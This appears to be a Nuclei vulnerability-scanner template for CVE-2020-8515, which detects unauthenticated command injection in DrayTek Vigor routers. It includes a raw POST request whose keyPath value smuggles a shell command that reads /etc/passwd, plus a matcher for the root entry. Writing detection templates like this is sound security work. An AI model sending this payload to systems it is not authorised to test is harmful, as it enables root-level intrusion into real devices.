47 lines
1.9 KiB
YAML
47 lines
1.9 KiB
YAML
id: CVE-2020-8515
|
|
|
|
info:
|
|
name: DrayTek - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
|
|
remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
|
|
reference:
|
|
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
|
|
- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-8515
|
|
- https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
|
|
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-8515
|
|
cwe-id: CWE-78
|
|
epss-score: 0.96921
|
|
epss-percentile: 0.99649
|
|
cpe: cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: draytek
|
|
product: vigor2960_firmware
|
|
tags: cve,cve2020,rce,kev,draytek
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/mainfunction.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402202928a0ce53c90eeef0a9210db32e21669228e78c7fcb767c109072758c3687e6022027d0872d11f5b188a8ac542e489c038ccdc7aeb27c57fc5ccbcc7b78c50367f8:922c64590222798bb761d5b6d8e72950 |